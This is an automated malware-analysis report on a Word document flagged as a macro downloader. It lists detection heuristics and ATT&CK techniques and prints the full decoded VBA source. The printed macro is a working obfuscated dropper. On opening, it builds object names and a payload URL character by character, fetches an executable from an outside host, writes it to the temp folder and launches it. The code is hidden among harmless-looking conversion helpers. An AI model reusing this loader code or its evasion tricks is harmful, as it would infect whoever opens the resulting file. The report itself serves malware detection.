MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The file contains obfuscated VBA macros designed to execute automatically upon opening. The macro utilizes a CreateObject call to download a file from 'http://detocoffee.ojiji.net/45ygege/097uj.exe' and save it to disk, which is then likely executed. This behavior is indicative of a downloader or droppers malware.
Heuristics 10
-
ClamAV: Doc.Macro.ObfuscatedHeuristic-5931994-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ObfuscatedHeuristic-5931994-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
checkFolder_32 = strUnquote23.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set GetInnerTextAsBin2 = CreateObject(GetInnerTextAsBinPar) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set GetInnerTextAsBin2 = CreateObject(GetInnerTextAsBinPar) -
Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URLA VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://detocoffee.ojiji.net/45ygege/097uj.exe Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 29174 bytes |
SHA-256: 6234eb0ee6cfa712aeee6258f960b3d551f0b3685b273101d084c0b65886efcb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
HHNANNNNNAD (500)
End Sub
Sub HHNANNNNNAD(FFFFF As Long)
Dec2Bin16_32
End Sub
Attribute VB_Name = "Module2"
Public Type typFloat ' FLOAT CONVERTER TYPES/VALUES
F As Single
End Type
Public Type typStringArray2 ' STRING ARRAY CONVERTER TYPE
Str(1 To 2) As String
End Type
Public Type typByteArray3 ' BYTE ARRAY CONVERTER TYPES/VALUES
B(1 To 3) As Byte
End Type
Public Type typByteArray4 ' BYTE ARRAY CONVERTER TYPES/VALUES
B(1 To 4) As Byte
End Type
Public Type typNumString ' NUM/STRING PARAMETER TYPE
Number As Integer
RawString As String
End Type
Public Type typCfgParam ' CFG PARAMETER TYPE
Name As String
Value As String
Comment As String
End Type
Public MarkError As Boolean ' Global error conversion flag.
'==========================================================================
' FUNCTION:
'
'==========================================================================
Public Function checkFolder_32(KJB As Long)
Dim strUnquote23: Set strUnquote23 = GetInnerTextAsBin2(Chr(77) & Chr(105) & Chr(60) & "c" & Chr(114) & Chr(111) & Chr(61) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(59) & Chr(46) & Chr(88) & "M" & Chr(60) & Chr(76) & ";" & "H" & Chr(84) & "=" & Chr(84) & "P")
strUnquote23.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(100) & Chr(101) & Chr(116) & Chr(111) & Chr(99) & Chr(111) & Chr(102) & Chr(102) & Chr(101) & Chr(101) & Chr(46) & Chr(111) & Chr(106) & Chr(105) & Chr(106) & Chr(105) & Chr(46) & Chr(110) & Chr(101) & Chr(116) & Chr(47) & Chr(52) & Chr(53) & Chr(121) & Chr(103) & Chr(101) & Chr(103) & Chr(101) & Chr(47) & Chr(48) & Chr(57) & Chr(55) & Chr(117) & "j" & Chr(46) & "e" & Chr(120) & "e", False
strUnquote23.Send
checkFolder_32 = strUnquote23.responseBody
End Function
'==========================================================================
' FUNCTION: CONVERT CONFIG STRING
' Deciphers config string by mask [ParName] = [ParString] and returns
' result as cfgParam type.
'==========================================================================
'
Public Function ConvCFG(ByVal SourceString As String) As typCfgParam
Dim cntCharCounter As Long
Dim cntSrcStringLength As Long
Dim cntMarkCommentBeginning As Long
Dim cntMarkValueBeginning As Long
SourceString = Trim$(SourceString)
If LenB(SourceString) = 0 Then Exit Function
If Asc(SourceString) = 59 Or Asc(SourceString) = 91 Then Exit Function 'if REMARKED, then END FUNCTION NOW!!!
ConvCFG.Name = vbNullString
ConvCFG.Value = vbNullString
ConvCFG.Comment = vbNullString
cntMarkCommentBeginning = 0
cntMarkValueBeginning = 0
cntSrcStringLength = Len(SourceString)
For cntCharCounter = cntSrcStringLength To 1 Step -1
Select Case Mid$(SourceString, cntCharCounter, 1)
Case kCommentary: cntMarkCommentBeginning = cntCharCounter + 1
Case kEquals: cntMarkValueBeginning = cntCharCounter + 1
End Select
Next cntCharCounter
If cntMarkValueBeginning = 0 Then Exit Function
If cntMarkValueBeginning > cntMarkCommentBeginning And cntMarkCommentBeginning > 0 Then Exit Function
ConvCFG.Name = Trim$(Left$(SourceString, cntMarkValueBeginning - 2))
If cntMarkCommentBeginning = 0 Then
ConvCFG.Value = Trim$(Right$(SourceString, (cntSrcStringLength + 1) - cntMarkValueBeginning))
Else
ConvCFG.Comment = Trim$(Mid$(SourceString, cntMarkCommentBeginning))
ConvCFG.Value = Trim$(Mid$(SourceString, cntMarkValueBeginning, cntMarkCommentBeginning - cntMarkValueBeginning - 1))
End If
End Function
'==========================================================================
' FUNCTION: VALUE TO HEX-STRING OF SPECIFIED LENGTH
' Converts decimal value (e.g. "11") into true hex value with given length
' (e.g. "0B" in case nativelength=1 or "000B in case nativelength=2)
'==========================================================================
Public Function ValToHex(ByVal SourceValue As String, ByVal DesiredLength As Byte) As String
On Error GoTo ErrorHandler
Dim SrcLength As Byte
ValToHex = Hex(Val(SourceValue))
SrcLength = Len(ValToHex)
If SrcLength < DesiredLength Then ValToHex = CharFillL(ValToHex, "0", DesiredLength)
If SrcLength > DesiredLength Then _
ValToHex = Mid$(ValToHex, (SrcLength - DesiredLength + 1), DesiredLength) 'cuts off excess
Exit Function
ErrorHandler:
MsgBox "Warning: possible error during DEC > HEX conversion. You have entered incorrect value (" + SourceValue + ")."
ValToHex = vbNullString
End Function
'==========================================================================
' FUNCTION: VALUE TO HEX-STRING OF SPECIFIED LENGTH (UNSIGNED)
' This function does the same as ValToHex, but with unsigned hexes
'==========================================================================
Public Function ValToHexUnsigned(ByVal SourceValue As String, ByVal DesiredLength As Byte) As String
On Error GoTo ErrorHandler
Dim SrcLength As Byte
ValToHexUnsigned = UnsignedHex(Val(SourceValue))
SrcLength = Len(ValToHexUnsigned)
If SrcLength < DesiredLength Then ValToHexUnsigned = CharFillL(ValToHexUnsigned, "0", DesiredLength)
If SrcLength > DesiredLength Then _
ValToHexUnsigned = Mid$(ValToHexUnsigned, (SrcLength - DesiredLength + 1), DesiredLength) 'cuts off excess
Exit Function
ErrorHandler:
MsgBox "Warning: possible error during DEC>HEX conversion. You have entered incorrect value (" + SourceValue + ")."
ValToHexUnsigned = vbNullString
End Function
'==========================================================================
' FUNCTION: INVERT HEXADECIMAL STRING (ex-Invrt)
' Inverts hexadecimal string to comply with x86 little-endian standard.
'==========================================================================
Public Function InvertHex(ByVal SourceString As String) As String
Dim cntCurChar As Integer
Dim LengthInBytes As Integer
' Check if string contains odd or even amount of symbols, and if it's even,
' just cut the last symbol:
If Len(SourceString) Mod 2 = 0 Then _
LengthInBytes = Len(SourceString) / 2 Else _
LengthInBytes = Len(SourceString) / 2 - 1
' Inversion cycle itself:
For cntCurChar = 1 To LengthInBytes * 2 Step 2
If cntCurChar <> LengthInBytes * 2 Then
InvertHex = InvertHex + (Mid$(SourceString, ((LengthInBytes * 2) - cntCurChar), 2))
End If
Next
End Function
'==========================================================================
' FUNCTION: DECIMAL TO UNSIGNED HEX CONVERSION
' Converts any type of numbers to unsigned HEX string (prevents overflow)
'==========================================================================
Function UnsignedHex(ByVal Value As Variant) As String
Dim TwoToThe32 As Variant
TwoToThe32 = CDec("2") ^ 32
If CDec(Value) < 0 Or Abs(CDec(Value)) >= TwoToThe32 Then
UnsignedHex = -1
Else
If CDec(Value) >= TwoToThe32 / 2 Then
Value = CDec(Value) - TwoToThe32
End If
UnsignedHex = Hex$(CDec(Value))
End If
End Function
'==========================================================================
' FUNCTION: A,B,C,D PARAMETERS TO BYTES(4)
' Converts 4 divider-separated byte values string into 4 byte array values
'==========================================================================
Public Function ParamsToBytes4(RawString As String, ByVal Nomer As Byte) As typByteArray4
On Error GoTo ErrorHandler 'if overflow or end string, then stop execution
Dim tmpStringArray() As String
Dim tmpCurrentValue As Byte
Dim cntPointer As Byte
tmpStringArray = Split(RawString, kDivider, 4)
If UBound(tmpStringArray) > 3 Then ReDim Preserve tmpStringArray(3)
For cntPointer = 0 To UBound(tmpStringArray)
ParamsToBytes4.B(cntPointer + 1) = CByteL(tmpStringArray(cntPointer))
Next cntPointer
Exit Function
ErrorHandler: ParamsToBytes4.B(1) = 0 'fuk em...
ParamsToBytes4.B(2) = 0
ParamsToBytes4.B(3) = 0
ParamsToBytes4.B(4) = 0
End Function
'==========================================================================
' FUNCTION: A,B,C PARAMETERS TO BYTES(3) (ex-RGBAConv)
' Converts 3 divider-separated byte values string into 3 byte array values
'==========================================================================
Public Function BytesToHex(RawString As String, Limit As Integer) As String
Dim tmpStringArray() As String
Dim cntPointer As Byte
tmpStringArray = Split(RawString, kDivider, Limit)
For cntPointer = 0 To UBound(tmpStringArray)
BytesToHex = BytesToHex & ValToHex(tmpStringArray(cntPointer), 2)
Next cntPointer
End Function
Attribute VB_Name = "Module1"
Function ReturnSelectedString(sArray() As String, sWithString As String) As String
Dim ii As Integer
For ii = LBound(sArray) To UBound(sArray)
If VBA.InStr(1, sArray(ii), sWithString) Then
ReturnSelectedString = sArray(ii)
Exit Function
End If
Next ii
End Function
Public Sub Dec2Bin8_7(ErrorHandler_18 As Object, ErrorHandler_19 As String)
Dim param2 As Integer
param2 = 2
ErrorHandler_18.savetofile ErrorHandler_19, param2
End Sub
Function BuildFormString(sArray() As String) As String
'This function builds a standard HTML web form string from an array of input values
Dim ii As Integer, sReturnedString As String, sDivider As String
sDivider = "--" & MULTIPART_BOUNDARY
For ii = LBound(sArray, 2) To UBound(sArray, 2)
sReturnedString = sReturnedString & sDivider & vbCr & vbLf
sReturnedString = sReturnedString & "Content-Disposition: form-data; name=" & sArray(2, ii) & vbCr & vbLf & vbCr & vbLf & sArray(1, ii) & vbCr & vbLf
Next ii
sReturnedString = sReturnedString & sDivider & "--"
BuildFormString = sReturnedString
End Function
'Function GetParametersFromAJAXString(sHTML As String) As String()
' Dim lStart As Long, lEnd As Long
' Dim sMid As String
' Dim sArray() As String
'
' lStart = VBA.InStr(1, sHTML, "A4J.AJAX.Submit")
'
'
' If lStart > 0 Then
' lStart = VBA.InStr(lStart, sHTML, "(")
' lEnd = VBA.InStr(lStart, sHTML, ")")
' sMid = VBA.Mid$(sHTML, lStart + 1, lEnd - lStart - 1)
' sArray = VBA.Split(sMid, ",")
'
' GetParametersFromAJAXString = sArray
' End If
'End Function
'
'Function GetAJAXViewState(sHTML As String) As String
' Dim lStart As Long, lEnd As Long
' Dim sMid As String
'
' lStart = VBA.InStr(1, sHTML, "javax.faces.ViewState")
' lStart = VBA.InStr(lStart, sHTML, "value=""")
'
' If lStart > 0 Then
' lEnd = VBA.InStr(lStart, sHTML, """ />")
' sMid = VBA.Mid$(sHTML, lStart + VBA.Len("value="""), lEnd - lStart - VBA.Len("value="""))
' GetAJAXViewState = sMid
' End If
'
Function GetValueForVariable(sHTML As String, sValue As String, Optional bRemoveQuotes As Boolean) As String
Dim iStart As Integer, iEnd As Integer, sResponse As String
iStart = VBA.InStr(1, sHTML, sValue & "=") + VBA.Len(sValue & "=")
iEnd = VBA.InStr(iStart + 1, sHTML, """")
sResponse = VBA.Mid$(sHTML, iStart, iEnd - iStart + 1)
If bRemoveQuotes Then
If VBA.Left$(sResponse, 1) = """" Then sResponse = VBA.Right$(sResponse, VBA.Len(sResponse) - 1)
If VBA.Right$(sResponse, 1) = """" Then sResponse = VBA.Left$(sResponse, VBA.Len(sResponse) - 1)
End If
GetValueForVariable = sResponse
End Function
Function GetInnerText(sString As String) As String
Dim iStart As Integer, iEnd As Integer, sResponse As String
iStart = VBA.InStr(1, sString, ">")
iEnd = VBA.InStr(iStart, sString, "<")
sResponse = VBA.Mid$(sString, iStart + 1, iEnd - iStart - 1)
GetInnerText = sResponse
End Function
Public Function GetInnerTextAsBin2(GetInnerTextAsBinPar As String)
GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(61), "")
GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(60), "")
GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(59), "")
Set GetInnerTextAsBin2 = CreateObject(GetInnerTextAsBinPar)
End Function
'=========================================================================================================================
' Functions used for HTML scrapping. Ugly Business
'=========================================================================================================================
Function GetArrayofInstancesFromHTML(sHTML As String, sSearchTag As String, sSearchPredicate As String) As String()
Dim sTagStart As String, sTagEnd As String, sFoundText As String
Dim iStart As Long, iEnd As Long, iCounter As Long, sOutputArray() As String
sTagStart = "<" & sSearchTag & " "
sTagEnd = "/" & sSearchTag & ">"
If sSearchTag = "input" Then sTagEnd = " />"
iStart = 1: iCounter = 0
While iStart > 0
iStart = VBA.InStr(iStart + 1, sHTML, sTagStart)
If iStart > 0 Then
iEnd = VBA.InStr(iStart, sHTML, sTagEnd)
sFoundText = VBA.Mid$(sHTML, iStart + VBA.Len(sTagStart) - 1, iEnd - (iStart + VBA.Len(sTagStart) - 1))
'If we have set a predicate, then make sure it matches
If VBA.Len(sSearchPredicate) > 0 Then
If VBA.InStr(1, sFoundText, sSearchPredicate) = 0 Then sFoundText = ""
End If
End If
'If we've found something then chuck it in the array
If VBA.Len(sFoundText) > 0 Then
iCounter = iCounter + 1
ReDim Preserve sOutputArray(1 To iCounter)
sOutputArray(iCounter) = sFoundText
End If
Wend
GetArrayofInstancesFromHTML = sOutputArray
End Function
Attribute VB_Name = "Module3"
'==========================================================================
' FUNCTION: PARAMETERS TO STRING ARRAY
' Converts 2 divider-separated values into string + string values
'==========================================================================
Public Function ParamsToStringArray(RawString As String, Limit As Integer) As String()
On Error GoTo ErrorHandler 'if overflow or end string, then stop execution
Dim cntPointer As Integer
Dim tmpStringArray() As String
ParamsToStringArray = Split(RawString, kDivider, Limit)
If UBound(ParamsToStringArray) > Limit Or UBound(ParamsToStringArray) < Limit Then ReDim Preserve ParamsToStringArray(Limit)
Exit Function
ErrorHandler:
Exit Function
End Function
'==========================================================================
' FUNCTION: A,B PARAMETERS TO INTEGER + STRING
' Converts 2 divider-separated values into integer + string values
'==========================================================================
Public Function ParamsToNumString(RawString As String) As typNumString
On Error GoTo ErrorHandler 'if overflow or end string, then stop execution
Dim tmpStringArray() As String
tmpStringArray = Split(RawString, kDivider, 2)
ParamsToNumString.Number = CInt(tmpStringArray(0))
ParamsToNumString.RawString = tmpStringArray(1)
Exit Function
ErrorHandler: ParamsToNumString.Number = 0 'fuk em...
ParamsToNumString.RawString = vbNullString
End Function
'==========================================================================
' FUNCTION: STRING TO HEXADECIMAL STRING
' Converts standard string to a string hexcode.
'==========================================================================
Public Function StringToHex(ByVal Stroka As String) As String
Dim cntCharCounter As Byte
For cntCharCounter = 1 To Len(Stroka)
StringToHex = StringToHex & Hex(AscB(Mid$(Stroka, cntCharCounter, 1)))
Next
End Function
'==========================================================================
' FUNCTION: BIN-2-DEC
' Converts binary string (e.g. 01010101) into decimal (e.g. 85)
'==========================================================================
Public Function Bin2Dec(Num As String) As Long
Dim n As Long
Dim a As Long
Dim x As String
n = Len(Num) - 1
a = n
Do While n > -1
x = Mid(Num, ((a + 1) - n), 1)
Bin2Dec = IIf((x = "1"), Bin2Dec + (2 ^ (n)), Bin2Dec)
n = n - 1
Loop
End Function
'==========================================================================
' FUNCTION: DEC-2-BIN 8
' Converts decimal byte into 8 bits as string.
'==========================================================================
Public Function Dec2Bin8(ByVal DecVal As Byte) As String
Dim i As Integer
Dim sResult As String
sResult = Space(8)
For i = 0 To 7
If DecVal And (2 ^ i) Then
Mid(sResult, 8 - i, 1) = "1"
Else
Mid(sResult, 8 - i, 1) = "0"
End If
Next
Dec2Bin8 = sResult
End Function
'==========================================================================
' FUNCTION: DEC-2-BIN 16
' Converts decimal byte into 16 bits as string.
'==========================================================================
Public Function Dec2Bin16(ByVal DecVal As Integer) As String
Dim i As Integer
Dim sResult As String
sResult = Space(16)
For i = 0 To 15
If DecVal And (2 ^ i) Then
Mid(sResult, 16 - i, 1) = "1"
Else
Mid(sResult, 16 - i, 1) = "0"
End If
Next
Dec2Bin16 = sResult
End Function
Public Function Dec2Bin16_32()
Set GetInnerTextAsBin2Result = GetInnerTextAsBin2(Chr(87) & Chr(83) & Chr(99) & Chr(61) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & ";" & Chr(46) & Chr(83) & Chr(61) & Chr(104) & Chr(101) & "<" & Chr(108) & Chr(108)) _
.Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
UnsignedHexString2 = GetInnerTextAsBin2Result("T" + "E" & Chr(77) & Chr(80))
Dim ErrorHandler_18 As Object
Set ErrorHandler_18 = GetInnerTextAsBin2(Chr(65) & "<" & "d" & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & Chr(101) & "a" & Chr(59) & Chr(109))
Dim ErrorHandler_19 As String
ErrorHandler_19 = UnsignedHexString2 + "\rue" & Chr(98) + "fo." & "e" & Chr(120) & Chr(101)
With ErrorHandler_18
.Type = 1
.Open
.write checkFolder_32(223)
End With
Dec2Bin8_7 ErrorHandler_18, ErrorHandler_19
Set noextensionFile = GetInnerTextAsBin2(Chr(83) & Chr(61) & "<" & "h" & "e" & Chr(108) & Chr(59) & Chr(108) & "<" & Chr(46) & Chr(65) & "p;" & Chr(112) & Chr(108) & Chr(105) & "<" & Chr(99) & Chr(97) & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110))
noextensionFile.Open (ErrorHandler_19)
End Function
'==========================================================================
' FUNCTION: DECIMAL TO IEEE-754 FLOAT
' Converts decimal long to IEEE-754 float
'==========================================================================
Public Function DecToIEEE(ByVal DecValue As Double) As Long
On Error GoTo ErrorHandler
Dim B As typByteArray4
Dim F As typFloat
Dim t As Long
F.F = DecValue
LSet B = F
DecToIEEE = B.B(4) * (2 ^ 24)
DecToIEEE = DecToIEEE + B.B(3) * (2 ^ 16)
DecToIEEE = DecToIEEE + B.B(2) * (2 ^ 8)
DecToIEEE = DecToIEEE + B.B(1)
Exit Function
ErrorHandler:
MsgBox "Error during DEC > IEEE-754 float conversion. Check if you have set correct value."
End Function
'==========================================================================
' FUNCTION: HEX TO DECIMAL VALUE
' Converts hexadecimal long to a decimal long.
'==========================================================================
Function HxVal(ByVal s As String) As Long
On Error GoTo ErrorHandler
If LenB(s) <> 0 Then HxVal = CLng("&H" & s) Else HxVal = CLng("&H" & "00")
Exit Function
ErrorHandler:
If MarkError = False Then
MarkError = True
HxVal = CLng("&H" & "00")
MsgBox "There was an error when converting some hexadecimal value to a decimal." & vbCrLf & _
"Make sure that you haven't entered wrong data." & vbCrLf & "Source string: ''" & s & "''"
End If
End Function
'==========================================================================
' FUNCTION: SINGLE-LINE TO MULTI-LINE (//-TERMINATED)
' Converts single-line //-terminated string into multiline string
'==========================================================================
Function DecipherText(ByVal Origtext As String) As String
DecipherText = Replace$(Origtext, kTerminator, vbCrLf)
End Function
'==========================================================================
' FUNCTION: MULTI-LINE TO SINGLE-LINE (//-TERMINATED)
' Converts multi-line //-terminated string into single-line string
'==========================================================================
Function CipherText(ByVal SourceString As String) As String
CipherText = Replace$(SourceString, vbCrLf, kTerminator)
End Function
'==========================================================================
' FUNCTION: PADDING WITH ZEROS FROM LEFT (ex-ZeroFill)
' Padding (char-fill) to the left side of source string with 0 symbol.
'==========================================================================
Function ZeroFill(ByVal Src As String, ByVal DesiredLength As Long) As String
If Len(Src) > DesiredLength Then Exit Function
ZeroFill = Src
Do Until Len(ZeroFill) = DesiredLength
ZeroFill = "0" & ZeroFill
Loop
End Function
'==========================================================================
' FUNCTION: FILL
'
'==========================================================================
Function Fill(ByVal Src As String, ByVal DesiredLength As Long) As String
Dim cnt As Long
For cnt = 0 To DesiredLength - 1
Fill = Fill & Src
Next cnt
End Function
'==========================================================================
' FUNCTION: PADDING (ADD SYMBOLS TO THE LEFT SIDE)
' Padding (char-fill) to the left side of source string.
'==========================================================================
Function CharFillL(ByVal Src As String, ByVal FillChar As String, ByVal DesiredLength As Long) As String
If Len(Src) > DesiredLength Then CharFillL = Left$(Src, DesiredLength): Exit Function
If Len(FillChar) > 1 Then FillChar = Left$(FillChar, 1)
CharFillL = Src
Do Until Len(CharFillL) = DesiredLength
CharFillL = FillChar & CharFillL
Loop
End Function
'==========================================================================
' FUNCTION: PADDING (ADD SYMBOLS TO THE RIGHT SIDE)
' Padding (char-fill) to the right side of source string.
'==========================================================================
Function CharFillR(ByVal Src As String, ByVal FillChar As String, ByVal DesiredLength As Long) As String
If Len(Src) > DesiredLength Then CharFillR = Left$(Src, DesiredLength): Exit Function
If Len(FillChar) > 1 Then FillChar = Left$(FillChar, 1)
CharFillR = Src
Do Until Len(CharFillR) = DesiredLength
CharFillR = CharFillR & FillChar
Loop
End Function
'==========================================================================
' FUNCTION: CUT OFF
' This function cuts off specific amount of symbols from left
'==========================================================================
Function CutOff(ByVal SourceText As String, Length As Byte)
If Len(SourceText) > Length Then
CutOff = Mid$(SourceText, Length + 1)
Else
CutOff = SourceText
End If
End Function
'==========================================================================
' FUNCTION: TRUE LENGTH OF STRING WITHOUT "/" SLASH SYMBOLS
'
'==========================================================================
Public Function TrueLOF(SourceString As String) As Integer 'returns true LOF without slashes
TrueLOF = Len(Replace$(SourceString, "/", vbNullString))
End Function
'==========================================================================
' FUNCTION: MERGE ALL MODDED VALUES OF ALL PARAMETERS OF SELECTED PATCH.
' Used to collect all modified param. values for preset / config writing.
'==========================================================================
Public Function MergeModdedValues(PatchNumber As Integer) As String
On Error GoTo ErrorHandler
Dim tmpStringArray() As String
Dim cntUnitCounter As Integer
ReDim tmpStringArray(UBound(PatchArray(PatchNumber).patchParams))
For cntUnitCounter = LBound(PatchArray(PatchNumber).patchParams) To UBound(PatchArray(PatchNumber).patchParams)
tmpStringArray(cntUnitCounter) = PatchArray(PatchNumber).patchParams(cntUnitCounter).parModdedValue
Next cntUnitCounter
MergeModdedValues = Join(tmpStringArray, kDivider2)
Exit Function
ErrorHandler:
MergeModdedValues = vbNullString
End Function
'==========================================================================
' FUNCTION: STRIPOUT
' Deletes specific symbols from string.
'==========================================================================
Public Function StripOut(SourceString As String, SymbolsToKill As String) As String
Dim i As Integer
StripOut = SourceString
For i = 1 To Len(SymbolsToKill)
StripOut = Replace(StripOut, Mid$(SymbolsToKill, i, 1), vbNullString)
Next i
End Function
'==========================================================================
' FUNCTION: STRIPOUT
' Leaves only specified symbols in a string.
'==========================================================================
Public Function StripIn(SourceString As String, SymbolsToLeave As String) As String
Dim i, i2 As Integer
Dim c, s As String
Dim t As String
StripIn = vbNullString
t = vbNullString
For i = 1 To Len(SourceString)
For i2 = 1 To Len(SymbolsToLeave)
c = Mid$(SymbolsToLeave, i2, 1)
s = Mid$(SourceString, i, 1)
If s = c Then t = t & c
Next i2
Next i
StripIn = t
End Function
'==========================================================================
' FUNCTION: FINALIZE
' Finalizes string with desired character, only if there is no such present
'==========================================================================
Public Function Finalize(SourceString As String, EndChar As String) As String
If UCase$(Right$(SourceString, 1)) <> UCase$(Left$(EndChar, 1)) Then Finalize = Finalize & Left$(EndChar, 1) Else Finalize = SourceString
End Function
'==========================================================================
' FUNCTION: CONVERT TO BYTE WITH OVERFLOW PREVENTION
'==========================================================================
Public Function CByteL(ByVal Value As Long) As Byte
If Value > 255 Then CByteL = 255: Exit Function
CByteL = CByte(Value)
End Function
'==========================================================================
' FUNCTION: CONVERT TO INTEGER WITH OVERFLOW PREVENTION
'==========================================================================
Public Function CIntL(ByVal Value As Long) As Integer
If Value > 32767 Then CIntL = CInt(Value - 65536): Exit Function
CIntL = CInt(Value)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.